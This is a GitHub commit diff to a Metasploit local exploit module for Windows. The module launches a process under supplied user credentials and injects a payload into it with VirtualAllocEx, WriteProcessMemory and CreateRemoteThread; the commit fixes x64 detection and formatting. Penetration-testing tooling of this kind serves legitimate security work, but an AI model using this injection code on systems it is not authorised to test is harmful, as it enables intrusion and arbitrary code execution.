Skip to content

Commit b7e9c69

Browse files
committed
Fix x64 injection
1 parent 215a590 commit b7e9c69

File tree

1 file changed

+20
-21
lines changed

1 file changed

+20
-21
lines changed

modules/exploits/windows/local/run_as.rb

Lines changed: 20 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,9 @@
77
require 'rex'
88

99
class Metasploit3 < Msf::Exploit::Local
10-
1110
include Msf::Post::Windows::Runas
1211

13-
def initialize(info={})
12+
def initialize(info = {})
1413
super(update_info(info,
1514
'Name' => "Windows Run Command As User",
1615
'Description' => %q{
@@ -63,19 +62,19 @@ def exploit
6362
windir = get_env('windir')
6463

6564
# Select path of executable to run depending the architecture
66-
case client.platform
67-
when /x86/
65+
case sysinfo['Architecture']
66+
when /x86/i
6867
application_name = "#{windir}\\System32\\notepad.exe"
69-
when /x64/
68+
when /x64/i
7069
application_name = "#{windir}\\SysWOW64\\notepad.exe"
7170
end
7271
end
7372

7473
pi = create_process_with_logon(domain,
75-
user,
76-
password,
77-
application_name,
78-
command_line)
74+
user,
75+
password,
76+
application_name,
77+
command_line)
7978

8079
return unless pi
8180

@@ -85,12 +84,12 @@ def exploit
8584
vprint_status('Injecting payload into target process')
8685
raw = payload.encoded
8786
process_handle = pi[:process_handle]
88-
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
89-
nil,
90-
raw.length,
91-
'MEM_COMMIT|MEM_RESERVE',
92-
'PAGE_EXECUTE_READWRITE')
9387

88+
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
89+
nil,
90+
raw.length,
91+
'MEM_COMMIT|MEM_RESERVE',
92+
'PAGE_EXECUTE_READWRITE')
9493

9594
address = virtual_alloc['return']
9695
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
@@ -99,18 +98,18 @@ def exploit
9998
address,
10099
raw,
101100
raw.length,
102-
4)
101+
4)
103102

104103
fail_with(Exploit::Failure::Unknown,
105104
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
106105

107106
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
108-
nil,
109-
0,
110-
address,
111-
nil,
112-
0,
113-
4)
107+
nil,
108+
0,
109+
address,
110+
nil,
111+
0,
112+
4)
114113
if create_remote_thread['return'] == 0
115114
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
116115
else

0 commit comments

Comments
 (0)